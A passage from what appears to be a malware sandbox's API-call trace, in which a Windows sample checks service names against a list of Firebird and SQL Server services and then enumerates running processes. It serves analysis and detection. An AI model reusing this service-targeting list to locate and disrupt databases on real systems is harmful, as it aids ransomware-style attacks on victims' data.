(lpString="KeyIso") returned 6 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0304.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0304.203] lstrlenW (lpString="LanmanServer") returned 12 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0304.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0304.203] lstrlenW (lpString="LanmanWorkstation") returned 17 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0304.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0304.203] lstrlenW (lpString="lfsvc") returned 5 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0304.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0304.203] lstrlenW (lpString="lmhosts") returned 7 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0304.204] lstrlenW (lpString="LSM") returned 3 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0304.204] lstrlenW (lpString="MpsSvc") returned 6 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0304.204] lstrlenW (lpString="NcbService") returned 10 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0304.204] lstrlenW (lpString="netprofm") returned 8 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0304.204] lstrlenW (lpString="NgcSvc") returned 6 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0304.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0304.204] lstrlenW (lpString="NlaSvc") returned 6 [0304.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0304.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0304.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0304.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0304.205] lstrlenW (lpString="nsi") returned 3 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0304.205] lstrlenW (lpString="PcaSvc") returned 6 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0304.205] lstrlenW (lpString="PlugPlay") returned 8 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0304.205] lstrlenW (lpString="Power") returned 5 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0304.205] lstrlenW (lpString="ProfSvc") returned 7 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0304.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0304.205] lstrlenW (lpString="RpcEptMapper") returned 12 [0304.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0304.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0304.205] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0304.205] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0304.206] lstrlenW (lpString="RpcSs") returned 5 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0304.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0304.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0304.206] lstrlenW (lpString="SamSs") returned 5 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0304.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0304.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0304.206] lstrlenW (lpString="Schedule") returned 8 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0304.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0304.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0304.206] lstrlenW (lpString="SecurityHealthService") returned 21 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0304.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0304.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0304.206] lstrlenW (lpString="SENS") returned 4 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0304.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0304.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0304.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0304.206] lstrlenW (lpString="ShellHWDetection") returned 16 [0304.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0304.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0304.207] lstrlenW (lpString="Spooler") returned 7 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0304.207] lstrlenW (lpString="StateRepository") returned 15 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0304.207] lstrlenW (lpString="SysMain") returned 7 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0304.207] lstrlenW (lpString="SystemEventsBroker") returned 18 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0304.207] lstrlenW (lpString="Themes") returned 6 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0304.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0304.207] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0304.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0304.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0304.207] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0304.207] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0304.208] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44228a0 | out: hHeap=0x700000) returned 1 [0304.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0304.867] Process32FirstW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.868] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0304.869] lstrlenW (lpString="System") returned 6 [0304.869] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0304.870] lstrlenW (lpString="smss.exe") returned 8 [0304.870] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0304.870] lstrlenW (lpString="csrss.exe") returned 9 [0304.870] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0304.871] lstrlenW (lpString="wininit.exe") returned 11 [0304.871] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0304.872] lstrlenW (lpString="csrss.exe") returned 9 [0304.872] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0304.873] lstrlenW (lpString="winlogon.exe") returned 12 [0304.873] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0304.874] lstrlenW (lpString="services.exe") returned 12 [0304.874] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0304.875] lstrlenW (lpString="lsass.exe") returned 9 [0304.875] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0304.876] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0304.876] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0304.876] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0304.877] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.877] lstrlenW (lpString="svchost.exe") returned 11 [0304.877] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.878] lstrlenW (lpString="svchost.exe") returned 11 [0304.878] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0304.879] lstrlenW (lpString="dwm.exe") returned 7 [0304.879] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.880] lstrlenW (lpString="svchost.exe") returned 11 [0304.880] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.880] lstrlenW (lpString="svchost.exe") returned 11 [0304.880] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.881] lstrlenW (lpString="svchost.exe") returned 11 [0304.881] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.887] lstrlenW (lpString="svchost.exe") returned 11 [0304.887] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.888] lstrlenW (lpString="svchost.exe") returned 11 [0304.888] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.889] lstrlenW (lpString="svchost.exe") returned 11 [0304.889] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.889] lstrlenW (lpString="svchost.exe") returned 11 [0304.889] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.890] lstrlenW (lpString="svchost.exe") returned 11 [0304.890] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.891] lstrlenW (lpString="svchost.exe") returned 11 [0304.891] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.892] lstrlenW (lpString="svchost.exe") returned 11 [0304.892] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0304.893] lstrlenW (lpString="spoolsv.exe") returned 11 [0304.893] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.893] lstrlenW (lpString="svchost.exe") returned 11 [0304.893] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0304.894] lstrlenW (lpString="audiodg.exe") returned 11 [0304.894] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0304.895] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0304.895] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0304.896] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0304.896] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0304.897] lstrlenW (lpString="Memory Compression") returned 18 [0304.897] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.898] lstrlenW (lpString="svchost.exe") returned 11 [0304.898] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0304.898] lstrlenW (lpString="sihost.exe") returned 10 [0304.898] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0304.899] lstrlenW (lpString="taskhostw.exe") returned 13 [0304.899] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0304.900] lstrlenW (lpString="msoia.exe") returned 9 [0304.900] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, 